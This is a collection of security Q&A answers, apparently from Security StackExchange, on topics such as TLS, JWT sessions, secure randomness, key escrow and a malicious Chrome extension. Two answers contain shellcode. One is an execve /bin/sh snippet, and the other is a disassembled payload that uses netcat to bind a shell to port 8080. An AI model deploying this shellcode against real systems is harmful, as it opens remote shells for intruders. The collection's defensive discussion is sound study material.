Keeping user files secure while allowing a web-application to use the files

For part two, you can do sensibly better:

(The session between User and System is encrypted)
User starts a task that requires an encrypted file
System sends tne encrypted shared key
User locally decrypts the shared key
User sends the decrypted shared key (stays only in memory)
System decrypts the file into memory
System deletes the decrypted shared key from memory
System completes the task
System deletes the decrypted file from memory
System stores the task result

You should ensure the memory of the routine that performs the task is not accessible by other threads on the system's service, if you happen to serve multiple clients on the same system, using compartmentalisation techniques like COWL (not sure about its implementation status) or maybe Capsicum.

I'm thinking strongly of secure multi-party computation and homomorphic encryption when reading your problem. I'm not expert so won't dwell on this, though. There might be ways, depending on what you need to compute, to perform the computation without actually having to decrypt the files. This might also be achieved by having clients compute and upload encrypted properties about the files rather than the files themselves.

There are quite possibly tons of other designs, and hopefully someone will point out a better approach.


Open source centralized authentication for heterogeneous network

(This is probably not quite the answer you're looking for.)

I've managed to use Active Directory as an LDAP server and Kerberos KDC successfully in the past. It worked the the MIT Kerberos libraries (available on Linux and OSX clients); obviously, it works with Windows clients too. AD isn't open source, so it doesn't really answer your question.

I've heard doing it the other way (e.g. OpenLDAP server for Windows clients) was a bit more difficult, since the Windows clients were expecting a few specific pieces of information presenting in a certain way (not necessarily well specified), but this comes from informal conversations.

This might be of interest:

http://www.samba.org/samba/docs/man/Samba-Guide/kerberos.html
https://serverfault.com/questions/34022/active-directory-vs-openldap

Without more details regarding what you're trying to achieve, it's difficult to be more precise. The solutions you'll be able to use are likely to depend on the following points (in no particular order):

Is it for a large network?
What skills to the IT authnz team have (more Linux/more Windows)?
Is it only for authentication?
What kind of attributes do you want to use across your machines?
How do you intend to deal with policies and authorization once you've authenticated the user?


You basically answered your own question by stating anyone in the world can read this information. This makes me believe it is not necessary.

However, from a security point of view it is always recommended to use best practices, meaning: use transport layer protection.

Web based Clients

Since the web server and database server run on the same machine, connections to the database should be made to 127.0.0.1:3306 as MiTM attacks are not possible. However, privileged (non database) users on the server could capture this traffic

VB Clients

These specific clients will most likely directly connect to your MySQL server. If this is the case, the clients send their credentials over a non secure transport layer.

If the VB Client uses the web forms of the web server, the above statement does not apply and the same applies here as for the web based clients.

Considerations & Recommendations

In case your VB clients directly connect to your database over the internet, it is recommended to use transport layer protection [1].

Consider if you might store more sensitive data in the future. Be prepared for the future.

One day someone might have this "bright idea" by saying: "Let's create an additional form where the users should store their details", where you have to store their names, addresses, e-mail addresses and IP address for example.

[1] I try to avoid using the term SSL due to the somewhat recent flaws.


If you can't see obvious patterns, that does not make it cryptographically secure! See also my answer to this question on our sibling site: What does it mean for a random number generator to be cryptographically secure?

At the risk of stating the obvious, rand() and mt_rand() are NOT SECURE for security purposes. Do NOT use them for things like shuffling a deck of virtual cards in games where there is (virtual) money at stake, generating security tokens, or any such thing. Such random functions are meant for fast randomness where security does not matter. Common applications for insecure randomness are simulations and games (the game AI repeating itself in 1 out of every 2 billion games is fine, but a secret key repeating itself 1 in every 2 billion keys can be crackable in a reasonable amount of time).

By coincidence I was looking at this 2 hours ago as well, since I was curious if they had finally aliased rand() to use mt_rand() instead, since mt_rand has been both faster and better since its introduction many years ago, but this does not appear to be the case. Therefore:

To generate insecure, fast random: $n = mt_rand(0, 10); generates a number from 0 through 10 (inclusive) (docs)
To generate secure random data: $data = random_bytes(32); generates 32 bytes of random data (docs)
To generate a secure random number: $n = random_int(0, 10); generates a number from 0 through 10 (inclusive) (docs)
Note that this only goes up to PHP_INT_MAX, which is at most approximately 264, so too small as a security key by itself. Use random_bytes() for generating secret keys, security tokens, etc. This function may aid in generating an unpredictable number, like for shuffling a deck of cards, where you may need a random number ≤52 instead of random bytes.


Does browsers use one-way or two-way SSL/TLS?

Typically you are using one-way SSL/TLS because your browser is checking the certificate of the server but the server is not checking for a client certificate pre-installed in your browser.

When using mutual authentication the browser verifies the server's certificate just like a typical one-way connection but an additional step is involved where the server verifies that the client has a certificate which allows them to access this system. This is not common and requires you to install a client certificate.

The browser can do both easily but if an additional certificate was not installed the authentication is probably only one way (authentication of the server). In both cases, all traffic is encrypted in both directions the one-way or two-way part just refers to the authentication components.


You need to upload your key to the servers that you want them on, they are owned by different entities and do not synchronise their record. You are looking for the servers in SKS pool (that propagate their data across different servers that GNU GPG tries to read as default). I would upload the key to keys.gnupg.net fo the best visibility.


Does rooting an Android Phone make it Vulnerable?

The actual process of rooting an Android phone technically does not make it vulnerable, however in practice you would be installing applications with root privileges which may execute malicious code intentionally or unintentionally.

The best analogy I could come up with for this is:

Rooting your phone is like downloading pirated software.  It may harm your PC, but it is most definitely not guaranteed to do so.

Therefore, I believe the security of your Andriod device depends on your capability as a user to defend your system rather than whether the device is rooted (or not).

Therefore, if you root your phone and never update it, it degrades
security.
But, if you root your phone to implement a custom security patch or a
service that improves security (AVs, SELinux, etc.) then that
of course improves security.

Rooting has proven to be effective in reducing bloatware and certain factory installed adware.  This technically does improve security marginally but also can be considered useful for removing services you have running to reduce the potential attack surface.

Apart from several Internet web resources available for securing Andriod devices, please visit the official Andriod Security Overview page for more information of the technical procedure for security hardening. Link: https://source.android.com/devices/tech/security/index.html


Strange jagged lines and dissapearing browsing history in Internet Explorer 6

Taking in to account that you would have to manually install IE6(not sure you could, not going to try) , this is your only question I can see in Stack Exchange, and that jagged dancing lines are present, the KISS rule states this is probably:

1: Out-dated or non-existent display drivers.  I am willing to bet that you do not have the most recent display drivers for your integrated or dedicated display device.  This may help you.  The Jagged lines sound like font smoothing gone wrong - because your driver doesn't know how to properly handle this.

2: Out-dated patches on your Internet Browser.  If, for some reason you absolutely need to use IE6 (you shouldn't), you probably aren't using the most recent version of it.

3: You've forgotten that you have a tool set up to clear history. It's possible you run CCleaner or have a setting up to delete history automatically.

--

If there is a real threat on your PC, it could be any number of items - your IE would be so very outdated, that you can be dealing with threats that existed in 2001 - luckily there should be a signature available for that, use AV.  I would suggest you upgrade your browser.

TL;DR - direct answers.

1: Very.  99.99% random.  You could have up to 15 years of attacks on your browser.

2:  Minimal.  You're using something so old, no one would even pay for the tools to perform the really vital step of "Deleting Browser History".

3:  The user is pretty exposed to threats due to the patch state of IE6, so he'd need 0 "insider" access.

Super TL;DR

Patch.


Stop POODLE vulnerability in Oracle Application Server

1- What exactly indicates the ssl/tls version? I mean the web server, client or the certificate? is it possible the web server supports the tls v1.0 but the certificate doesn't?

The certificate has nothing to do with the TLS version negotiated. For a brief explanation, to establish a TLS connection the client and server undergoes a handshake process to negotiate various things that will be used such as the TLS version and the cipher suite. The client informs the server about the maximum TLS version it supports as well as the list of cipher suites it prefers. The server then decides.

  4- and my most important question: Can i stop POODLE attack in oracle application? (I read somewhere that the POODLE vulnerability doesn't apply in TLSV1. so I guess its better to ask my question this way: does Oracle application server support the TLSV1? )

The POODLE attack only applies to SSL 3.0 connections using CBC cipher suites. Anything using TLS 1.0 and up should be safe. There have been reports that some TLS 1.0 implementations are affected due to misimplementing the specification but I do not believe Oracle's products are amongst them.


How does ProcessBuilder avoid OS command injection?

I overcame this vulnerability by using ESAPI's executeSystemCommand method which internally seems to be using ProcessorBuilder after validating the input though.


The encrypted files have a common header. The first 4 bytes of AXX files are C0 B9 07 2E. The static header is actually longer than this, but 4 bytes should be enough to rule out false positives.


Came up with this in the mean time which respects the conditions and is quite short:

mov rbx, 0x68732f6e696221
or r8b, 0xe
add rbx, r8
push rbx
push rsp
pop rdi
mov al, 0x3b
Syscall


I am assuming that you are using Kali or another Debian based distro. All of ettercap's config files are found in /etc/ettercap/ by default. However your question does not expand on what would be running on 8080. ettercap is a network layer recon and exploitation tool. It doesn't really run an application on a certain port. If you are trying to redirect traffic to a web service running on port 8080 that would be another issue. If purely launching the graphical interface is giving you the issue above, you need to add sudo to the beginning of your command or give privileges to your current user to run ettercap by using groups and such. Please explain your issue in more depth.


Secure information exchange between web applications using browser redirection

This is not terribly different than what OAuth is designed to do, if we were to tweak the workflow.

If you were to implement this using OAuth, your application would include an OAuth provider, and the third party would sign up to be an OAuth client.

The user, who is the resource owner, when redirected to the third-party site would simply authorize that site to access their resource (the secret) that your site is keeping safe for them.

The model looks like this:


No, there is no inherent security risk that comes with handling the PATCH verb.

Your browser doesn't apply different security policies to PATCH than to PUT or DELETE. Instead, the security impact depends on the server's implementation of the method.

As a more general rule, you should keep the attack surface as small as possible and disable unneeded methods.

See also: How to exploit HTTP Methods


Is user-education considered a security measure?

Yes, users security awareness and training is an integral part of a global security policy.

Humans are often told to be the weakest point in the security chain, as you can patch a software vulnerability but you cannot patch a human. The best you can do is make people aware and regularly maintain their attention on potential security issues affecting their daily activities.

Generally, when a tool is available (I mean it is there, ready to deploy) which allows to enforce your policy, there is no reason not to use it. If this tool affects your users negatively, this does not mean that the tools shouldn't be installed, this means that your policy may need to be reviewed.

But sadly not everything can be automated, and there is a lot of areas where there will simply no tool. No tool will prevent a user from giving his password over the phone, opening the door to someone else or sharing his access badge.

The goal of security awareness training will be both:

To address these areas where security nearly solely relies on the user behavior because there is no practical technical way to enforce the policy (either because the tools do not exist or because the company has chosen not to implement them: maybe they are to expensive, too complex, etc.).
To prevent the users from bypassing current technical measures: security measures should help the users to respect the security policy, users should not see them as obstacles to bypass otherwise your global security will quickly get weaker.


Can firewalls get affected by the traffic they process

Yes, definitely. See the Witty worm for an example of a vulnerability in a firewall product that was exploited by a network worm.

Firewalls are nothing but software and affected by the same flaw. The more complex the firewall, the more likely it is for a bug to be introduced.

For instance, a simple port filtering firewall is very unlikely to be affected by the data content of the packets but it can be affected by anything that is in the IP or protocol headers (TCP/UDP/ICMP/etc.) while a deep packet inspection firewall might include a vulnerable parser that could be exploited.


Based on cookies, does a website knows that a user visited it if the user does not log in?

...  does that website know that the user ABC has been poking around on the website without logging in, based on cookies?

Cookies and other client-side stored information (i.e. cached pages, cached redirects, local storage ...) can be easily used to track a user over multiple visits, no matter if the user is logged in or not. If the user was logged in once these information than can also be associated with a specific user, so that it is possible to track future visits of this user even after logout. This does not mean that this is done though, but it is technically possible without the user being aware of it.

.... WITHOUT proxy and WITHOUT logging in ... Can this website flag my account based on cookies?

These information are stored locally at the client and are only associated with the target site. They are not associated with a specific way to access the target site, i.e. it also does not matter if a proxy or VPN is used or not or if the user is changing its location, changing the ISP etc. Thus the user can be tracked as long as the same browser on the same computer is used, independent from additional proxies, VPN etc.


What's the motivation for excluing /usr/local/bin from root's PATH?

There is a discussion here https://bugs.centos.org/view.php?id=5707 indicating inconsistent behavior. It's there via sudo but not there with a direct root login. That's according to the bug report, which is specific to centOS 6.

More to the point, you're vulnerable if there is danger of bad stuff being installed at /usr/local/bin. By forcing yourself to use the full path ( /usr/local/bin/whatever ) you don't have any risk of accidentally invoking bad stuff via $PATH.

Of course that's true for anything performed with elevated privilege. Keep your path variable limited and you reduce your risk of tripping over an intruder's trap.


Securely using JWTs with CSRF protection and refresh tokens

You seem to be mixing up several different opposing technologies, and do not make it clear why you have chosen these technologies and why they control the threats you are trying to secure against.

  JWTs are stored in an access_token cookie. They are first signed then
  encrypted using jose-jwt.

Is there any reason why they are encrypted? Signing is used when you want to verify the integrity of the data - i.e. that it has not been altered by anyone without the key. Encryption is used when you want to protect the confidentiality of the data - i.e. that it cannot be read by anyone without the key. If there is nothing in the token that shouldn't be able to be read by the end-user then there is no reason to encrypt.

  JWTs include a cst claim that stores a randomly-generated CSRF token.
  The CSRF token is sent in the response body upon login and when a new
  JWT is issued. The CSRF token is stored in the browser's localStorage.
  It is sent with every request and validated against the value in the
  JWT.

This sounds like an implementation of the Double Submit Cookie CSRF control. localStorage is protected by the Same Origin Policy preventing another web session in the user's browser from accessing the token.

Ensure that the CSRF token has at least 128 bits of entropy.

  As the JWTs expire in 30 minutes, it is necessary to refresh them. The
  JWT includes an rfs claim that stores a random refresh token. This
  refresh token is also stored in the DB (a separate table from users to
  allow for multiple sessions). If the JWT is expired (based on its exp
  claim), the DB is checked to ensure the user is still valid (e.g.
  account not deleted, password not changed, etc.). If the user is
  valid, the refresh token is verified and a new JWT/CSRF token are
  generated and passed back in the response.

This is where things get mixed up. Your security model should decide on either client-side sessions or server-side sessions. JWTs are usually employed for the former. That is, if you have a token in the client signed by a key only available to the server then your application should be trusting that the presence of this token denotes a valid session should it not have expired and that the signature is valid.

The disadvantage of this method is that it is difficult to revoke tokens. If a user account is compromised, and a user changes their password, any attacker sessions will still be active for 30 minutes because they still have a valid, unexpired and signed token.

The fix for this is to implement server-side sessions instead. For example, you keep track of sessions in a database table which means they can be instantly logged out of by removing the row in the database. The session token can be a 128 bit entropy random string, supplied as a cookie client-side and stored hashed with SHA-256 server-side to mitigate any data leakage from your database. You could always send a plain text expiry date with your cookie, so the client knows that when it needs to refresh the token. e.g. a HttpOnly cookie for the token, and a non-HttpOnly cookie containing the expiry so the client-side JavaScript can read it. HttpOnly cookies can help mitigate the impact of an XSS flaw.

Therefore, if you are tracking sessions server-side there is little advantage of having a signed JWT client-side. Extra code means more attack surface and more chance of vulnerabilities being introduced into the surplus code. Complexity in an application is often inverse to security.

If you are using Double Submit Cookie in combination with a server-side session for session state, then you are wise to use a different cookie for the CSRF token. This will enable you to add the CSRF token as a header using client-side code without risking your session identifier token. Note that if you are setting custom headers and not implementing CORS, then this can mitigate CSRF somewhat. It is recommended to use a token as well though, because technologies like Flash tend to disrupt browser security (Flash means more code running, more code gives more attack surface, more code means more chance of vulnerabilities).


Session ID in the very First Client Hello

Session ID in the first Client Hello, .... That is the "Client or Browser" tells what Session ID to use and "Server" accepts it.

It is not that the client just comes up with a new session id and the server accepts it. The TLS session id and also the TLS session ticket which serves a similar purpose are first send by the server to the client.

If later the client sends the previously received session id or session ticket within a new TLS handshake and the server still has or can derive the information for this existing session, then the session can be resumed and only an abbreviated handshake will be done.

If instead the clients sends a session id or session ticket which the server cannot handle (i.e. invalid, expired...) then it will be ignored by the server and a full TLS handshake will be done.


After going through the return status of the program I realised that, the program was executing the shell code and exiting. So, Instead of binding the shell to stdin, I wrote a shell code that binds /bin/sh to port 8080 using netcat. This did the trick.

Following is the shell code I used:

08048060 <_start>:
 8048060:       eb 2a                   jmp    804808c <GotoCall>

08048062 <shellcode>:
 8048062:       5e                      pop    %esi
 8048063:       31 c0                   xor    %eax,%eax
 8048065:       88 46 07                mov    %al,0x7(%esi)
 8048068:       88 46 0f                mov    %al,0xf(%esi)
 804806b:       88 46 19                mov    %al,0x19(%esi)
 804806e:       89 76 1a                mov    %esi,0x1a(%esi)
 8048071:       8d 5e 08                lea    0x8(%esi),%ebx
 8048074:       89 5e 1e                mov    %ebx,0x1e(%esi)
 8048077:       8d 5e 10                lea    0x10(%esi),%ebx
 804807a:       89 5e 22                mov    %ebx,0x22(%esi)
 804807d:       89 46 26                mov    %eax,0x26(%esi)
 8048080:       b0 0b                   mov    $0xb,%al
 8048082:       89 f3                   mov    %esi,%ebx
 8048084:       8d 4e 1a                lea    0x1a(%esi),%ecx
 8048087:       8d 56 26                lea    0x26(%esi),%edx
 804808a:       cd 80                   int    $0x80

0804808c <GotoCall>:
 804808c:       e8 d1 ff ff ff          call   8048062 <shellcode>
 8048091:       2f                      das
 8048092:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048095:       2f                      das
 8048096:       6e                      outsb  %ds:(%esi),(%dx)
 8048097:       63 23                   arpl   %sp,(%ebx)
 8048099:       2d 6c 70 38 30          sub    $0x3038706c,%eax
 804809e:       38 30                   cmp    %dh,(%eax)
 80480a0:       23 2d 65 2f 62 69       and    0x69622f65,%ebp
 80480a6:       6e                      outsb  %ds:(%esi),(%dx)
 80480a7:       2f                      das
 80480a8:       73 68                   jae    8048112 <GotoCall+0x86>
 80480aa:       23 41 41                and    0x41(%ecx),%eax
 80480ad:       41                      inc    %ecx
 80480ae:       41                      inc    %ecx
 80480af:       42                      inc    %edx
 80480b0:       42                      inc    %edx
 80480b1:       42                      inc    %edx
 80480b2:       42                      inc    %edx
 80480b3:       43                      inc    %ebx
 80480b4:       43                      inc    %ebx
 80480b5:       43                      inc    %ebx
 80480b6:       43                      inc    %ebx
 80480b7:       44                      inc    %esp
 80480b8:       44                      inc    %esp
 80480b9:       44                      inc    %esp
 80480ba:       44                      inc    %esp


There were many systems... you can find some references from the Wikipedia page. The core idea is always the same: make a "special" floppy disk such that it exhibits a peculiar behaviour that can be tested for, but not reproduced, with stock floppy disk drives. For instance, make tracks a bit thinner than normal, which allows you to put a bit more data on the floppy; a "normal" drive should succeed at reading the extra tracks (still in the physical tolerance) but not writing the same setup on a brand new disk. Another method would be to have sectors with bad data (checksum mismatch).

Such kind of physical methods were easier to pull off in the 1980s, when you could rely on specific hardware features. An Atari ST was always an Atari ST from Atari, not a clone with possible distinct hardware and thus subtly different behaviour when facing "anomalous" floppies. The openness of the PC architecture mostly killed off copy protection scheme based on weirded up floppies.

The main problem with all such methods is that the corresponding check must be done in some place in the software, so cracking the copy protection scheme usually meant finding the relevant piece of code and changing a conditional jump opcode with a nop (or an unconditional jump). The essence of all these copy protection schemes is security through obscurity, which does not work well, especially when the source element is sold by the thousand and the attackers are schoolboys with too much time on their hands.


In depth security: splitting key in different places

Essentially what you're attempting to do is backdoor each user's account in a way that allows only the user and a single administrative user to access their data. This can be achieved as follows:

us  = User salt  = Random unique value (not the same salt as used for authentication)
as  = Admin salt = Random unique value (not the same salt as used for authentication)

uk  = User key    = pbkdf2(user_pass, salt1, 256, rounds)
dk  = Data key    = random 256-bit key
ak  = Admin key   = pbkdf2(admin_pass, salt2, 256, rounds)
P   = RSA private key
p   = RSA public key

uk' = Encrypted user key    = dk ^ uk
dk' = Encrypted data key    = RSA_Encrypt(dk, p)
P'  = Encrypted private key = AES_Encrypt(P, ak)

m = message
iv = initialisation vector (random unique value)
c = ciphertext = AES_Encrypt(m, iv, dk)

We then store uk', dk' and iv with the data record we're encrypting. We store us with the user account record. We also store P' and as with our admin account record. The public key P can be stored in the code.

The user decryption works as follows:

Compute uk from the user password and us.
Xor uk' with uk to retrieve dk.
Decrypt c using iv and dk, giving us m.

The admin decryption works as follows:

Compute ak from the admin password and as.
Decrypt P using AES_Decrypt(P', ak)
Decrypt dk using RSA_Decrypt(dk', P)
Decrypt c using iv and dk, giving us m.

Note that when I say "encrypt" and "decrypt" in reference to RSA, it's not really encryption, but it is more or less semantically equal.


Why should the user ID and group ID of every file match an existing user?

Files always have a owner-id and a group-id. But if the files are copied from another system (e. g. extracted from a tar archive), there may be no name assigned to those ids.

At a later time a new user or group may be created which gets the next available id. This id, however, may be the same id as the one used improperly before.

As a result the new user/group gets access to those files.


I cannot speak on FriGate or other freemium VPN services, though I have used payed services without any issues and will provide some alternatives at the end of the answer.

Hola, at least the free version, works by allowing your computer to be a node within a P2P system of sharing bandwidth when idle, this way helping people to bypass geo-restrictions on content, which sounds like what you are after. As a participant in this network, you are responsible for helping to further route the traffic of other Hola users, which- as they state on their FAQs- is unfortunately not always fully encrypted. And since other Hola users' traffic is being proxied through you, any malicious or otherwise disruptive behavior that might get them ordinarily blacklisted from a website now is associated with your IP, potentially resulting in you not being able to access content due to the actions of this peer.

The best article I've read that about the Hola service provides an in-depth technical analysis of the VPN offering and is authored by AI-powered threat research company, Vectra.

In my mind the single biggest takeaway from the article was that the Hola VPN service is allowed to download additional software without the user being notified by the OS or browser due to the creation of its own code-signing certificate on the host system during installation.

Further, Hola, and its parent company, Luminati, have been known in the past to have had the users of their VPN offering serve as unwitting participants in DDoS attacks.

If you are going to use a VPN, it is up to you to determine if the above concerns are worth living with otherwise you may want to consider using a paid offering like PIA or NordVPN.

Further sources for your consideration:

https://www.vpnranks.com/hola-vpn-review/
https://www.pcworld.com/article/2928340/ultra-popular-hola-vpn-extension-sold-your-bandwidth-for-use-in-a-botnet-attack.html
https://lifehacker.com/hola-better-internet-sells-your-bandwidth-turning-its-1707496872


OneDrive marked unsafe by Google Chrome due to unsafe scripts

I'm not a big-time expert on this. But I can give you a small explanation with my 3year as a server admin and technologist to a web development company.

The script may be a unified login check like Google does for all of its products.

The reasons for chrome to report it as unsafe are
 - It is being loaded over HTTP not HTTPS.
 - The requested script or page is from another domain (Bing.com) not the same or subdomain of the domain live.com.

So don't worry thinking that Google Chrome has detected one drive as harmful. It is just about the content being loaded from a different site and a non HTTPS URL.


But don't you own all the subdomains of a given domain you bought?

Sure. If you own the domain you control also subdomains. If you have control over applications that use your subdomains, then you can do whatever you want.

But there are hosting providers, that give users subdomains like user-123.provider.com below their own domain. In particular, users don't have to pay explicitly for domain registration. If you as a customer have such subdomain and bind your cookie to a higher level domain name, it can be read and modified by other customers that use this top level domain. To avoid that, you should use more specific domain name.

When you are a provider and need a "root" domain name for your own purposes (advertising, price info, faq, etc.), then again if you bind cookies to the domain name provider.com (I don't discuss here differences between .provider.com and provider.com), all your customers like user-123.provider.com can read and modify your cookies. To avoid this, you should use a more specific domain name like www.provider.com.

  Does this have anything to do with having the feature of a shared
  authentication/authorization mechanism ... ?

Not necessarily. But it can be used for authentication and single-sing-on.

In such case normally all subdomains are controlled by the same owner (company) and different subdomains can be bound to different applications. There is normally a filter that checks if authentication cookie is present. If not present, user is forwarded to the authentication page. When cookie is present, the application at particular subdomain considers user as authenticated. When user navigates to some other subdomain (and thus to other application), the other application will also consider the user as authenticated. Such single-sing-on provides good user experience.


Why do "remote desktop" software (allegedly) commonly have a "blackout" feature?

So that passers-by cannot see what you are doing on your computer.
If you are connecting remotely to a computer in an office, then everyone could see everything you type and you would not know.
It is a basic, expected, and legitimate feature. (By the way, that's the top 8 remote desktop programs each with a "blank screen" feature for the express purpose of privacy. I could keep looking up more apps, but that would seem to be redundant.)


Traffic anonymization through routing - software and algorithms

Tor fulfills both your requirements quite nicely.

Additionally, for your first point, there was no routing protocol used, as such - attackers would literally connect to a 2nd machine, and from there connect to a third etc - using plain old TCP/IP.


Email activation string with MD5'd random number and email secure?

Short answers: No, your key generation isn't secure. Yes, the attacker can find the email from the code.

An attacker can obtain the activation code for any email address due to the extremely weak random number generation. mt_rand() isn't suitable for this purpose, add to that the advantage gained by knowing some information about the state of your system (time of generation, for example). That can severely lower the space for the potential keys for each email.

As for the other point, I don't think it's such a big concern that the email can be brute-forced from the key. That's should be the least of your concerns. The key is, presumably, short-lived and only sent to the email address. Having the owner of the email address finding out their email address is.. well, you get the point.

However, yes, it's not very difficult to brute-force the email from the key. Mainly because emails are most certainly not randomly generated and will very likely exist in dictionaries with some other combinations. Your random number gives you about 1 million combinations, that's very low.

"How can I do it better?", you ask. It's very simple. Use a secure random number generating method/API offered by your language of choice. In your case, in PHP, you can utilize openssl_random_pseudo_bytes(). Here's an example for your convenience:

$activationKey = bin2hex(openssl_random_pseudo_bytes(16)); //128-bit

After generating the key and sending it to the user, store a hash of the key in the database. Almost any hash function will do, I recommend SHA-1. When the activation link/key is used, you simply hash it and compare it to the entry in the database. After that, you can activate the account and invalidate the key.


What is meant with naïve sign & encrypt?

The author seems to use "simple" and "naïve" interchangeably. Yes it seems he is referring to the act of signing (with the senders private key) and encrypting (with the receivers public key) the plaintext before transmission.

He views this as naïve because of the ability for a third party to forward a pre-existing signed message written by the sender to the receiver and the receiver assuming it safe to trust this.

Imagine a situation where Bob and Alice are attempting to communicate securely. Chuck is an untrusted third party known to both of them.

Chuck sends Bob a series of questions for which he expects Bob to reply with fairly generic responses. For example Chuck asks "Did you read Dons paper?" and Bob sends back "Yes" - signed and encrypted.
Alice sends Bob a message saying "Can I trust Chuck". Chuck knows Alice is going to do this.
Chuck decrypts the signed "Yes" message from before and re encrypts it
with Alice's public key. He then sends it to her before Bob can
reply.
Alice receives a reply to her question saying "Yes". It is signed by Bob and was sent encrypted with her public key so she trusts it.


How secure is BitLocker with a USB key on the motherboard

An USB stick is even less secure than a TPM. The latter at least tries to check whether the system is in a trusted state before giving away the key, but the former doesn't even care and has no way to do so.

TPM attacks exist but still require some effort to pull off, and possibly some hardware (soldering wires to the LPC bus to talk to the TPM chip directly). USB "attacks" would simply involve unplugging the stick and copy/pasting the keyfile that's inside, or just booting the machine off a Linux disc and reading the keyfile from there without even touching the actual USB.


What common products use Public-key cryptography?

Public/Private key crypto is used in a wide variety of protocols and data formats, which are implemented by a huge range of application and system software:

SSL (https) protocol
SSH (secure remote login, tunneling, etc) (public/private authn/authz is optional)
Digitally signed PDF files (including attachments within the PDF)
Signed Applets and jar archive files for Java
Digital signatures in the packaging infrastructure for Debian, Ubuntu and Red Hat Linux distributions, etc.
PGP/GPG for signed and/or encrypted files and email (perhaps the first widely used non-military public/private key crypto?)
S/MIME for signed and/or encrypted email
DNSSEC for securing the DNS
Internet Key Exchange (IKE) in IPsec for secure low-level TCP/UDP networking
RFC 3161 for authenticated timestamps
Most other encryption or signature schemes which don't require prior out-of-band secure communication between the parties.  Many are described at http://www.apps.ietf.org/rfc/seclist.html
A variety of other uses, like digital cash and secure transparent voting (see e.g. the trustee keys for Helios)


Chrome/ Opera: How to trace and single out this Malware in Browser Extensions? caused by Tab Manager

If you see any activity on the browser that has these show up/ key words that might point to these issue then the following solution may help.

Keywords for people to find this answer/ solution:

  crvlck.com
  coolbar.pro
  33bc39603cbf409986a444d6bb525bf1

The Extension "Tab Manager" was sold to a malicious 3rd party and users were not notified in any fashion by the original dev.

On the github source code page he pointed to a new entry for the Extension, which most users dont have any way of being notified or knowing. For this, users need to delete and remove the old extension and if they want they can install from the new link.

https://github.com/VanCoding/Tab-Manager - Readme.md

  Tab Manager

  This is a Google Chrome extension which allows you to easily and
  quickly manage and access your tabs/windows ;) Have fun with it!

  IMPORTANT: The old "Tab Manager"-entry in the chrome web store has
  been sold and I am no longer the owner! Neither do I know the source
  code of the version that currently gets deployed there.

  Please note that only the web store entry and no source code has been
  sold. I, and all contributors of the project, are still the owners of
  the source code. I've also created a new entry on the chrome web
  store. I'll keep it up to date with the source code as with the old
  entry.

  license

  MPLv2

But, I still wonder what could we people / users do in future to keep track of such "handovers/ sellouts" and take steps.

Discussed here as well:  https://productforums.google.com/forum/#!topic/chrome/Znvs228EVc8

Specifics of the malicious code are available here:

https://github.com/VanCoding/Tab-Manager/issues/45

https://www.reddit.com/r/help/comments/4tquap/hitting_collapse_comment_icon_button_is/

Update:

Consequently after being criticized for introducing such activities into an open source project, the original author/ dev just made a bait/ switch on the open source project and high tailed out after his open source project turned sold into Malware, with prospective infections of 1,43,000 (based on downloads/ installs of original extension from Chrome Store). Finally, after arguing his stance he just removed/ deleted the open source project repository from GitHub.

  Patrik Stutz
  VanCoding
  Cloud Studios
  Hochdorf LU CH
  patrik.stutz@gmail.com
  http://cloudstudios.ch
  Joined on Feb 2, 2011

His final comments & activities on the subject from screenshot attached:


How to find out where a website is hosted?

If your queries are showing that the site is hosted by Cloudflare, then the site that you are trying to look-up may be protected by Cloudflare's web application firefall (WAF).

In this case, the DNS A record for the site will point to a server on Cloudflare's network.  The Cloudflare server will act as a reverse-proxy - forwarding requests to the site's actual server, and relaying responses from the site's actual server back to the user.  But, this is opaque to the user, and if configured correctly, there is no way for you to find the IP address and/or network where the actual server is hosted.  This is by design, see Does Cloudflare masking my IP make my server more secure? for more info.


You have mainly a session management rather than an authentication issue.

As you noted, users are already authenticated, what you have to decide on is how to maintain the user's session. Issuing a JWT upon Google atuhentication is reasonable choice albeit with non-trivial caveats as a quick search will demonstrate. Instead of a JWT you could rely on HTTP session and cookies - just to present alternatives. IMO you are best off using an infrastructure/library that does this e.g. Spring Security, which you can customize to your needs.

In so far as authorization (access control) is concerned, you noted that users have full access rights. Should that change in the future the nice thing about using a JWT is that it can also contain information about what is in scope. For a more standards based approach I suggest looking at UMA (User Managed Access)   libraries/services to build on.

On a side note, using authorization code grant is likely the most secure choice given a third party authentication service is involved - stay with it. Might I also suggest being aware of RFC8252 OAuth 2 for Native apps to ensure authorization code grant is also used properly with mobile apps - it details how redirects/codes are securely managed between the mobile system browser used for authentication and your mobile app.


Is a rand from /dev/urandom secure for a login key?

The short answer is yes. The long answer is also yes. /dev/urandom yields data which is indistinguishable from true randomness, given existing technology. Getting "better" randomness than what /dev/urandom provides is meaningless, unless you are using one of the few "information theoretic" cryptographic algorithm, which is not your case (you would know it).

The man page for urandom is somewhat misleading, arguably downright wrong, when it suggests that /dev/urandom may "run out of entropy" and /dev/random should be preferred; the only instant where /dev/urandom might imply a security issue due to low entropy is during the first moments of a fresh, automated OS install; if the machine booted up to a point where it has begun having some network activity then it has gathered enough physical randomness to provide randomness of high enough quality for all practical usages (I am talking about Linux here; on FreeBSD, that momentary instant of slight weakness does not occur at all). On the other hand, /dev/random has a tendency of blocking at inopportune times, leading to very real and irksome usability issues. Or, to say it in less words: use /dev/urandom and be happy; use /dev/random and be sorry.

(Edit: this Web page explains the differences between /dev/random and /dev/urandom quite clearly.)

For the purpose of producing a "cookie": such a cookie should be such that no two users share the same cookie, and that it is computationally infeasible for anybody to "guess" the value of an existing cookie. A sequence of random bytes does that well, provided that it uses randomness of adequate quality (/dev/urandom is fine) and that it is long enough. As a rule of thumb, if you have less than 2n users (n = 33 if the whole Earth population could use your system), then a sequence of n+128 bits is wide enough; you do not even have to check for a collision with existing values: you will not see it in your lifetime. 161 bits fits in 21 bytes.

There are some tricks which are doable if you want shorter cookies and still wish to avoid looking up for collisions in your database. But this should hardly be necessary for a cookie (I assume a Web-based context). Also, remember to keep your cookies confidential (i.e. use HTTPS, and set the cookie "secure" and "HttpOnly" flags).


How to see when a HSTS domain is about to expire?

HSTS data is kept by each web browser.

When a request is made to a domain that implements HSTS, the response headers will contain a Strict-Transport-Security header that notes the maximum age of the record and optionally some other HSTS-related values.

This maximum age effectively gives a time-to-live starting at the time when the response is received.

This is illustrated, though not explicitly spelled out, by RFC 6797 section 11.2 (non-normative), which states:

  The "constant value into the future" approach can be accomplished by
  constantly sending the same max-age value to UAs.

and

  The "fixed point in time" approach can be accomplished by sending
  max-age values that represent the remaining time until the desired
